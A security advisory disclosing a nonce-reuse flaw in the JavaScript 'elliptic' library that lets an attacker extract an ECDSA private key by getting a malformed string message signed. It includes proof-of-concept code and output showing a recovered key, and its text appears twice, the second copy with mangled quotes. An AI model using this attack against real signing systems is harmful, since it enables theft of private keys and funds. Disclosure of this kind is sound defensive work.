Headline
GHSA-vjh7-7g9h-fjfh: Elliptic's private key extraction in ECDSA upon signing a malformed input (e.g. a string)
Summary
Private key can be extracted from ECDSA signature upon signing a malformed input (e.g. a string or a number), which could e.g. come from JSON network input
Note that elliptic by design accepts hex strings as one of the possible input types
Details
In this code: https://github.com/indutny/elliptic/blob/3e46a48fdd2ef2f89593e5e058d85530578c9761/lib/elliptic/ec/index.js#L100-L107
msg is a BN instance after conversion, but nonce is an array, and different BN instances could generate equivalent arrays after conversion.
Meaning that a same nonce could be generated for different messages used in signing process, leading to k reuse, leading to private key extraction from a pair of signatures
Such a message can be constructed for any already known message/signature pair, meaning that the attack needs only a single malicious message being signed for a full key extraction
While signing unverified attacker-controlled messages would be problematic itself (and exploitation of this needs such a scenario), signing a single message still should not leak the private key
Also, message validation could have the same bug (out of scope for this report, but could be possible in some situations), which makes this attack more likely when used in a chain
PoC
k reuse example
import elliptic from 'elliptic'
const { ec: EC } = elliptic
const privateKey = crypto.getRandomValues(new Uint8Array(32))
const curve = 'ed25519' // or any other curve, e.g. secp256k1
const ec = new EC(curve)
const prettyprint = ({ r, s }) => `r: ${r}, s: ${s}`
const sig0 = prettyprint(ec.sign(Buffer.alloc(32, 1), privateKey)) // array of ones
const sig1 = prettyprint(ec.sign('01'.repeat(32), privateKey)) // same message in hex form
const sig2 = prettyprint(ec.sign('-' + '01'.repeat(32), privateKey)) // same `r`, different `s`
console.log({ sig0, sig1, sig2 })
Full attack
This doesn’t include code for generation/recovery on a purpose (bit it’s rather trivial)
import elliptic from 'elliptic'
const { ec: EC } = elliptic
const privateKey = crypto.getRandomValues(new Uint8Array(32))
const curve = 'secp256k1' // or any other curve, e.g. ed25519
const ec = new EC(curve)
// Any message, e.g. previously known signature
const msg0 = crypto.getRandomValues(new Uint8Array(32))
const sig0 = ec.sign(msg0, privateKey)
// Attack
const msg1 = funny(msg0) // this is a string here, but can also be of other non-Uint8Array types
const sig1 = ec.sign(msg1, privateKey)
const something = extract(msg0, sig0, sig1, curve)
console.log('Curve:', curve)
console.log('Typeof:', typeof msg1)
console.log('Keys equal?', Buffer.from(privateKey).toString('hex') === something)
const rnd = crypto.getRandomValues(new Uint8Array(32))
const st = (x) => JSON.stringify(x)
console.log('Keys equivalent?', st(ec.sign(rnd, something).toDER()) === st(ec.sign(rnd, privateKey).toDER()))
console.log('Orig key:', Buffer.from(privateKey).toString('hex'))
console.log('Restored:', something)
Output:
Curve: secp256k1
Typeof: string
Keys equal? true
Keys equivalent? true
Orig key: c7870f7eb3e8fd5155d5c8cdfca61aa993eed1fbe5b41feef69a68303248c22a
Restored: c7870f7eb3e8fd5155d5c8cdfca61aa993eed1fbe5b41feef69a68303248c22a
Similar for ed25519, but due to low n, the key might not match precisely but is nevertheless equivalent for signing:
Curve: ed25519
Typeof: string
Keys equal? false
Keys equivalent? true
Orig key: f1ce0e4395592f4de24f6423099e022925ad5d2d7039b614aaffdbb194a0d189
Restored: 01ce0e4395592f4de24f6423099e0227ec9cb921e3b7858581ec0d26223966a6
restored is equal to orig mod N.
Impact
Full private key extraction when signing a single malicious message (that passes JSON.stringify/JSON.parse)
Summary
Private key can be extracted from ECDSA signature upon signing a malformed input (e.g. a string or a number), which could e.g. come from JSON network input
Note that elliptic by design accepts hex strings as one of the possible input types
Details
In this code: https://github.com/indutny/elliptic/blob/3e46a48fdd2ef2f89593e5e058d85530578c9761/lib/elliptic/ec/index.js#L100-L107
msg is a BN instance after conversion, but nonce is an array, and different BN instances could generate equivalent arrays after conversion.
Meaning that a same nonce could be generated for different messages used in signing process, leading to k reuse, leading to private key extraction from a pair of signatures
Such a message can be constructed for any already known message/signature pair, meaning that the attack needs only a single malicious message being signed for a full key extraction
While signing unverified attacker-controlled messages would be problematic itself (and exploitation of this needs such a scenario), signing a single message still should not leak the private key
Also, message validation could have the same bug (out of scope for this report, but could be possible in some situations), which makes this attack more likely when used in a chain
PoC****k reuse example
import elliptic from ‘elliptic’
const { ec: EC } = elliptic
const privateKey = crypto.getRandomValues(new Uint8Array(32)) const curve = ‘ed25519’ // or any other curve, e.g. secp256k1 const ec = new EC(curve) const prettyprint = ({ r, s }) => `r: ${r}, s: ${s}` const sig0 = prettyprint(ec.sign(Buffer.alloc(32, 1), privateKey)) // array of ones const sig1 = prettyprint(ec.sign('01’.repeat(32), privateKey)) // same message in hex form const sig2 = prettyprint(ec.sign('-' + '01’.repeat(32), privateKey)) // same `r`, different `s` console.log({ sig0, sig1, sig2 })
Full attack
This doesn’t include code for generation/recovery on a purpose (bit it’s rather trivial)
import elliptic from ‘elliptic’
const { ec: EC } = elliptic
const privateKey = crypto.getRandomValues(new Uint8Array(32)) const curve = ‘secp256k1’ // or any other curve, e.g. ed25519 const ec = new EC(curve)
// Any message, e.g. previously known signature const msg0 = crypto.getRandomValues(new Uint8Array(32)) const sig0 = ec.sign(msg0, privateKey)
// Attack const msg1 = funny(msg0) // this is a string here, but can also be of other non-Uint8Array types const sig1 = ec.sign(msg1, privateKey)
const something = extract(msg0, sig0, sig1, curve)
console.log('Curve:’, curve) console.log('Typeof:’, typeof msg1) console.log('Keys equal?’, Buffer.from(privateKey).toString(‘hex’) === something) const rnd = crypto.getRandomValues(new Uint8Array(32)) const st = (x) => JSON.stringify(x) console.log('Keys equivalent?’, st(ec.sign(rnd, something).toDER()) === st(ec.sign(rnd, privateKey).toDER())) console.log('Orig key:’, Buffer.from(privateKey).toString(‘hex’)) console.log('Restored:’, something)
Output:
Curve: secp256k1 Typeof: string Keys equal? true Keys equivalent? true Orig key: c7870f7eb3e8fd5155d5c8cdfca61aa993eed1fbe5b41feef69a68303248c22a Restored: c7870f7eb3e8fd5155d5c8cdfca61aa993eed1fbe5b41feef69a68303248c22a
Similar for ed25519, but due to low n, the key might not match precisely but is nevertheless equivalent for signing:
Curve: ed25519 Typeof: string Keys equal? false Keys equivalent? true Orig key: f1ce0e4395592f4de24f6423099e022925ad5d2d7039b614aaffdbb194a0d189 Restored: 01ce0e4395592f4de24f6423099e0227ec9cb921e3b7858581ec0d26223966a6
restored is equal to orig mod N.
Impact
Full private key extraction when signing a single malicious message (that passes JSON.stringify/JSON.parse)
References
- GHSA-vjh7-7g9h-fjfh
- indutny/elliptic@04cb6f5